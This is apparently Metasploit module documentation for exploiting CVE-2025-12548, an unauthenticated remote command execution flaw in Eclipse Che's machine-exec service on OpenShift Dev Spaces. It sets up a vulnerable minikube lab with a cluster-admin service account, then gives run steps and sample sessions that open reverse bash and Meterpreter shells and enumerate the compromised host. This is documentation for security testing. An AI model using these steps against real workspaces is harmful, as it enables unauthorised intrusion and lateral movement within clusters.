## Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability (CVE-2025-12548) in the Eclipse Che
machine-exec service. The machine-exec service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
workspace containers, accepts WebSocket connections without authentication.

An attacker can connect to the machine-exec service and execute arbitrary commands via JSON-RPC over WebSocket.
This allows lateral movement between workspaces and potential cluster compromise.

Affected versions: Red Hat OpenShift Dev Spaces prior to patches RHSA-2025:22620, RHSA-2025:22652, RHSA-2025:22623.

## Vulnerable Environment Setup

The `che-machine-exec` binary runs directly on your host machine, not inside `minikube`. It uses
the Kubernetes in-cluster client config which looks for credentials at
`/var/run/secrets/kubernetes.io/serviceaccount/` on whatever machine the binary is running on.

### Prerequisites

- Linux host with `Docker` installed (should also work on macOS)
- [`minikube`](https://minikube.sigs.k8s.io/docs/start/) installed
- `kubectl` installed, or use `minikube kubectl --` as a built-in alternative
- [`Go`](https://go.dev/dl/) installed (tested with `go1.24`)

Install `minikube` (Linux):

```
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
```

Install `kubectl` (Linux):

```
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
```

### 1. Start minikube

```
minikube start --driver=docker \
  --memory=4096 \
  --cpus=2 \
  --disk-size=20g
```

### 2. Build from source

```
git clone https://github.com/eclipse-che/che-machine-exec.git
cd che-machine-exec
go build -o che-machine-exec-vuln .
```

The `main` branch does not enforce authentication on the WebSocket routes. The service is designed to sit behind an OAuth proxy and Kubernetes network policies.

### 3. Create a Kubernetes service account

```
kubectl create namespace eclipse-che
kubectl create serviceaccount machine-exec-test -n eclipse-che
kubectl create clusterrolebinding machine-exec-test \
  --clusterrole=cluster-admin \
  --serviceaccount=eclipse-che:machine-exec-test
```

### 4. Deploy a target pod

The binary needs a running pod matching its pod selector. Use `ubuntu` (not `busybox`) so
that reverse shell payloads have access to `bash`:

```
kubectl run target-workspace \
  --image=ubuntu:latest \
  --restart=Never \
  -n eclipse-che \
  --labels="che.workspace_id=test-workspace-id" \
  -- sleep 3600
```

Wait until the pod is running:

```
kubectl get pod target-workspace -n eclipse-che
```

### 5. Populate the in-cluster credentials directory

Populate with real `minikube` values:

```
sudo mkdir -p /var/run/secrets/kubernetes.io/serviceaccount

kubectl -n eclipse-che create token machine-exec-test | \
  sudo tee /var/run/secrets/kubernetes.io/serviceaccount/token > /dev/null

sudo cp \
  $(kubectl config view --raw -o jsonpath='{.clusters[?(@.name=="minikube")].cluster.certificate-authority}') \
  /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

printf "eclipse-che" | sudo tee /var/run/secrets/kubernetes.io/serviceaccount/namespace > /dev/null
```

Verify the CA cert is populated:

```
head -1 /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

### 6. Start the server

```
export KUBERNETES_SERVICE_HOST=$(minikube ip)
export KUBERNETES_SERVICE_PORT=8443
export CHE_WORKSPACE_NAME=dummy-workspace
export DEVWORKSPACE_NAME=dummy-devworkspace

./che-machine-exec-vuln \
  -url 0.0.0.0:3333 \
  -static /tmp/static \
  -pod-selector "che.workspace_id=test-workspace-id" \
  -idle-timeout 24h
```

Expected output:

```
[GIN-debug] Listening and serving HTTP on 0.0.0.0:3333
```

### 7. Verify the service is reachable

```
curl http://127.0.0.1:3333/healthz
```

### Notes

- `LHOST` must not be `127.0.0.1` when testing. The reverse shell originates from inside the
  `minikube` pod, which cannot reach the host loopback. Use the `minikube` gateway IP instead
  (typically `192.168.49.1`, confirm with `minikube ssh "ip route | grep default"`).
- The token from `kubectl create token` expires after 1 hour by default. Regenerate it
  by repeating step 5 if the server starts returning `Unauthorized` errors.
- The target pod sleeps for 1 hour. Recreate it if it exits before testing is complete.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/linux/http/eclipse_che_machine_exec_rce`
3. `set RHOSTS <target>`
4. `set LHOST <your_ip>`
5. `check`
6. `exploit`
7. Verify you get a shell session

## Options

### TARGETURI
Base path to the machine-exec service. Default: `/`

### WS_TIMEOUT
Timeout for WebSocket operations in seconds. Default: `10`

## Scenarios

### Red Hat OpenShift DevSpaces (cmd/unix/reverse_bash)

```
msf6 > use exploit/linux/http/eclipse_che_machine_exec_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > check
[+] 192.168.1.10:3333 - The target is vulnerable. machine-exec service accepts unauthenticated connections
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. machine-exec service accepts unauthenticated connections
[*] Connecting to machine-exec service...
[+] Connected to machine-exec service
[*] Staging payload via JSON-RPC create method...
[+] Command staged with process ID: 2
[*] Triggering execution via /attach/2...
[+] Payload triggered!
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47578) at 2025-12-30 19:46:55 +0000

whoami
user
```

### Red Hat OpenShift DevSpaces (linux/x64/meterpreter/reverse_tcp)

```
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. machine-exec service accepts unauthenticated connections
[*] Connecting to machine-exec service...
[+] Connected to machine-exec service
[*] Staging payload via JSON-RPC create method...
[+] Command staged with process ID: 1
[*] Triggering execution via /attach/1...
[+] Payload triggered!
[*] Sending stage (3090404 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:41234) at 2025-12-31 15:21:40 +0000

meterpreter > sysinfo
Computer     : 10.244.0.15
OS           : Red Hat Enterprise Linux 9 (Linux 5.14.0-570.45.1.el9_6.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: user
meterpreter > pwd
/projects
meterpreter > shell
Process 672 created.
Channel 1 created.
cat /etc/os-release
NAME="Red Hat Enterprise Linux"
VERSION="9.6 (Plow)"
ID="rhel"
ID_LIKE="fedora"
VERSION_ID="9.6"
PLATFORM_ID="platform:el9"
PRETTY_NAME="Red Hat Enterprise Linux 9.6 (Plow)"
ANSI_COLOR="0;31"
LOGO="fedora-logo-icon"
CPE_NAME="cpe:/o:redhat:enterprise_linux:9::baseos"
HOME_URL="https://www.redhat.com/"
DOCUMENTATION_URL="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9"
BUG_REPORT_URL="https://issues.redhat.com/"

REDHAT_BUGZILLA_PRODUCT="Red Hat Enterprise Linux 9"
REDHAT_BUGZILLA_PRODUCT_VERSION=9.6
REDHAT_SUPPORT_PRODUCT="Red Hat Enterprise Linux"
REDHAT_SUPPORT_PRODUCT_VERSION="9.6"
uname -a
Linux workspace1a2b3c4d5e6f7890-abc123def4-xyzpq 5.14.0-570.45.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 13 01:15:12 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
exit
meterpreter >
```
